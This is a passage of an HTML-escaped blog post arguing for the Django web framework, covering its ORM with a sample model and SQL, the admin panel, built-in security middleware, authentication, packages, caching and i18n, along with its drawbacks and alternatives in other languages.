style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        get_user_model(), related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;reviews&amp;#34;&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SET_NULL)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The following model is equivalent to the following SQL statement:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;--&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create model Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;--&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; reviews_review (id &lt;span style=&#34;color:#ff5c57&#34;&gt;integer&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; AUTOINCREMENT, title &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;comment&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;text&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, name &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, created datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, modified datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, user_id &lt;span style=&#34;color:#ff5c57&#34;&gt;integer&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;REFERENCES&lt;/span&gt; auth_user (id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFERRABLE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INITIALLY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFERRED&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; reviews_review_user_id_875caff2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; reviews_review (user_id);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COMMIT&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to the above, its ORM supports multiple databases, so switching database engines is quite simple and after a few changes you can migrate seamlessly from Postgres to MySQL or vice versa, just by changing a couple of lines in the configuration. Saving you from having to write SQL by hand, as you would do in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/&#34;&gt;migrations from another language, such as go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.db.backends.mysql&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;read_default_file&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/path/to/my.cnf&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Its only disadvantage is its speed, as it falls short of alternatives such as sqlAlchemy, or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/&#34;&gt;tortoise-orm, which you can easily integrate with FastAPI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;administrator-panel-included&#34;&gt;Administrator panel included&lt;/h3&gt;&#xA;&lt;p&gt;Django has its own admin panel, called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/&#34;&gt;django admin panel, and is customizable&lt;/a&gt;&#xA;, an administration panel that is installed by default. This admin implements a CRUD to the database in a simple way. And, in addition, it has a solid permissions system to restrict access to the data as you want.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/Django-panel-admin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/Django-panel-admin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django admin panel&#34; width=&#34;1028&#34; height=&#34;651&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;offers-security-against-the-most-common-attacks&#34;&gt;Offers security against the most common attacks&lt;/h3&gt;&#xA;&lt;p&gt;Django includes certain utilities, which are responsible for mitigating most attacks such as XSS, XSRF, SQL injections, Clickjacking and others. Most of them are already available and you just need to add the corresponding middleware or template tag.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;form method&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; csrf_token &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;user-management-included&#34;&gt;User management included&lt;/h3&gt;&#xA;&lt;p&gt;Most applications require a user management system, you know, register them, activate them, log them in, password recovery, well, Django already includes all of the above by default, even decorators to restrict views for authenticated users.&lt;/p&gt;&#xA;&lt;h4 id=&#34;authentication-tested-including-with-jwt&#34;&gt;Authentication tested, including with JWT.&lt;/h4&gt;&#xA;&lt;p&gt;This framework has a proven authentication system based on sessions that are identified by a cookie. The authentication system has already been tested numerous times by some of the most trafficked websites out there, such as Instagram or the NASA website. Pinterest started with Django but moved to node.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;You can use cookie authentication, session authentication or there are packages that allow you to use it with JWT. By the way, I have a post where I explain how to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/&#34;&gt;authenticate a user using JSON Web token JWT in Django Rest Framework&lt;/a&gt;&#xA;. I also wrote another one explaining why &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;some consider this is not a good idea&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;djangos-permission-system&#34;&gt;Django&amp;rsquo;s permission system&lt;/h4&gt;&#xA;&lt;p&gt;Django has a robust &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;permissions and groups system&lt;/a&gt;&#xA; that binds your users to models in the database that you can start using with just a few lines of code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multiple-packages&#34;&gt;Multiple packages&lt;/h3&gt;&#xA;&lt;p&gt;Django has a lot of packages to solve most common problems, and they are community-monitored and community-improved packages, which guarantees impressive quality.&lt;/p&gt;&#xA;&lt;p&gt;Just to name a few:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;Django-haystack&lt;/a&gt;&#xA;(For searches&#xA;complex)&lt;/li&gt;&#xA;&lt;li&gt;Django-watson (Searches)&lt;/li&gt;&#xA;&lt;li&gt;DRF (REST)&lt;/li&gt;&#xA;&lt;li&gt;Graphene (Graphql)&lt;/li&gt;&#xA;&lt;li&gt;Django-rest-auth (Authentication)&lt;/li&gt;&#xA;&lt;li&gt;Django-allauth (Authentication)&lt;/li&gt;&#xA;&lt;li&gt;Django-filter (Search)&lt;/li&gt;&#xA;&lt;li&gt;Django-storage (AWS storage)&lt;/li&gt;&#xA;&lt;li&gt;Django-braces (Common functions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Among all of them I would like to highlight &lt;strong&gt;DRF (Django Rest Framework) which makes &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;creating a REST API&lt;/a&gt;&#xA;, handling permissions and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/&#34;&gt;throttling&lt;/a&gt;&#xA;, a simple task&lt;/strong&gt;, compared to creating everything from scratch.&lt;/p&gt;&#xA;&lt;p&gt;Another package to highlight that allows you to work with websockets, to create an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/&#34;&gt;application that communicates with the server in real time, through events, is django-channels&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;out-of-the-box-caching-system&#34;&gt;Out of the box caching system&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;Django has a robust cache system&lt;/a&gt;&#xA; that ranges from full site caching to even more granular level caching of SQL query results. Compatible with memcached, redis and others.&lt;/p&gt;&#xA;&lt;h3 id=&#34;one-time-messages-out-of-the-box-system&#34;&gt;One time messages out of the box system&lt;/h3&gt;&#xA;&lt;p&gt;Django has a session-based message system that allows you to show the user messages that will expire after being viewed, all this just by adding the corresponding middleware.&lt;/p&gt;&#xA;&lt;h3 id=&#34;i18n-system-included&#34;&gt;i18n system included&lt;/h3&gt;&#xA;&lt;p&gt;Django has a system for multilingual out of the box sites, based on po and mo files, along with gettext, totally ready to use and without having to install anything.&lt;/p&gt;&#xA;&lt;h3 id=&#34;form-handling-and-validation&#34;&gt;Form handling and validation&lt;/h3&gt;&#xA;&lt;p&gt;Django has a system that allows you to create forms using Python code in a very simple way, even taking as a basis models in the database, these can be used to create rows in your database and even to use them to validate the data that your user enters in the backend of your web application.&lt;/p&gt;&#xA;&lt;h3 id=&#34;takes-you-from-an-idea-to-a-working-prototype-quickly&#34;&gt;Takes you from an idea to a working prototype quickly.&lt;/h3&gt;&#xA;&lt;p&gt;I consider this the main reason to use Django. &lt;strong&gt;Django gets you from an idea to an MVP fast and without reinventing the wheel&lt;/strong&gt;. Which is a huge competitive advantage over other frameworks, especially when money and customers are involved.&lt;/p&gt;&#xA;&lt;p&gt;With Django you would have a working prototype faster than with any other &amp;ldquo;less opinionated&amp;rdquo; framework or one that requires you to program everything from scratch.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/meme-django.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/meme-django.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Why to use Django&#34; width=&#34;1080&#34; height=&#34;932&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;it-is-a-proven-solution&#34;&gt;It is a proven solution&lt;/h3&gt;&#xA;&lt;p&gt;There are many new frameworks every day. Most of them are just a fad and fall into disuse over the years, leaving projects without support. Django is a framework that has been around for a very long time, that has gone through numerous tests that have made it  robust and reliable, and that is not going to disappear overnight leaving you with an unsupported project.&lt;/p&gt;&#xA;&lt;p&gt;Consider that Django was once the choice of sites as big as Instagram or Pinterest.&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-support-for-machine-learning-libraries&#34;&gt;Django support for Machine Learning libraries&lt;/h3&gt;&#xA;&lt;p&gt;Python is great when it comes to Machine Learning, cool libraries like Pytorch, ScikitLearn, Numpy and Keras are widely used worldwide. Since Django is written in Python, you will be able to integrate these libraries natively into your Django projects, without the need to create a new service.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/iceberg-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/iceberg-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Machine learning with Python&#34; width=&#34;1000&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;the-disadvantages-of-django&#34;&gt;The disadvantages of Django&lt;/h2&gt;&#xA;&lt;p&gt;Not everything is magic with Django, there are some things that can be considered a disadvantage and that I would change without hesitation. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/&#34;&gt;Certainly Django can be improved&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;it-is-a-monolith&#34;&gt;It is a monolith&lt;/h3&gt;&#xA;&lt;p&gt;Django is an old Framework, with everything you need to develop a web application, an ORM, a templating system, middleware and many other pieces that are there and are required for the framework to work, whether you need them or not. However, Django can be modularized to generate API responses in JSON (or other format) instead of HTML, ignoring the rest of the framework machinery.&lt;/p&gt;&#xA;&lt;p&gt;The very stability of Django has made it look somewhat slow in a world of rapidly evolving JavaScript frameworks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Regarding the template system, if you combine it with libraries like htmx or turbolinks you will have the best of both worlds: interactivity on the frontend with HTML generation on the backend.&lt;/p&gt;&#xA;&lt;h3 id=&#34;it-is-slow-and-handles-requests-one-at-a-time&#34;&gt;It is slow and handles requests one at a time.&lt;/h3&gt;&#xA;&lt;p&gt;Python is an interpreted language that was made to be beautiful and simple, not necessarily performant. In my comparison of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/&#34;&gt;python vs go&lt;/a&gt;&#xA;I compare the performance of both, just to give you an idea.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the above, Django does not shine for its speed at the time of execution. In the race to be a fast framework, it is below more modern technologies such as Flask or FastAPI.&lt;/p&gt;&#xA;&lt;p&gt;Go to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;my tutorial on FastAPI&lt;/a&gt;&#xA; if you want to see how slow Django is compared to other frameworks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;djangs-orm-is-not-asynchronous-nor-the-fastest&#34;&gt;Djang&amp;rsquo;s ORM is not asynchronous nor the fastest.&lt;/h3&gt;&#xA;&lt;p&gt;&lt;del&gt;Django is working to make its ORM asynchronous but it&amp;rsquo;s not there yet&lt;/del&gt;. Django&amp;rsquo;s ORM is almost completely asynchronous. Other alternatives such as tortoise-orm, sql-alchemy, pony-orm are ahead in this aspect.&lt;/p&gt;&#xA;&lt;h3 id=&#34;moderate-learning-curve&#34;&gt;Moderate learning curve&lt;/h3&gt;&#xA;&lt;p&gt;Django follows the philosophy of batteries included. Which is good, because it&amp;rsquo;s code you save writing, but also bad, because it&amp;rsquo;s code you need to learn to use: the ORM with models and queries, the middleware, the views, DRF (for the APIs) or the template system, the urls handler, string translation, the i18n package, etc. Learning all of the above takes more time than it would take you to learn other more minimalist frameworks; such as Flask or Express.&lt;/p&gt;&#xA;&lt;h2 id=&#34;alternatives-to-django-in-other-languages&#34;&gt;Alternatives to Django in other languages&lt;/h2&gt;&#xA;&lt;p&gt;If you love Django, but you consider that you need a more modern solution according to the most current paradigms, try the following options:&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-like-django-but-in-javascript&#34;&gt;Frameworks like django but in Javascript.&lt;/h3&gt;&#xA;&lt;p&gt;If you use Framework and are looking for a similar framework, I understand that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://adonisjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AdonisJS&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://nestjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;NestJS&lt;/a&gt;&#xA; offer similar development experiences.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-like-django-but-in-go&#34;&gt;Frameworks like django but in Go&lt;/h3&gt;&#xA;&lt;p&gt;If you are using this wonderful and super simple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;programming language called Go&lt;/a&gt;&#xA;, I know that the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/beego/beego&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Beego&lt;/a&gt;&#xA; framework is quite similar to Django in terms of its battery-inclusive philosophy.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-like-django-but-in-rust&#34;&gt;Frameworks like Django but in Rust&lt;/h3&gt;&#xA;&lt;p&gt;Although it is more similar to RoR, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://loco.rs/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Loco, written in Rust,&lt;/a&gt;&#xA; offers an experience quite similar to a high-level framework like Django, although &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/rust/what-makes-rust-so-difficult-to-learn/&#34;&gt;writing Rust code is more difficult&lt;/a&gt;&#xA; than writing Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-advantages-and-disadvantages-of-django&#34;&gt;TLDR advantages and disadvantages of Django&lt;/h2&gt;&#xA;&lt;p&gt;From my point of view the advantages outweigh the disadvantages, so I consider it a very attractive option to develop a complex website when you have little time or need to find developers fast.&lt;/p&gt;&#xA;&lt;p&gt;Still not convinced? Remember that Instagram is the largest Django backend website out there and despite they&amp;rsquo;ve been modifying their system slowly, it was thanks to Django&amp;rsquo;s rapid 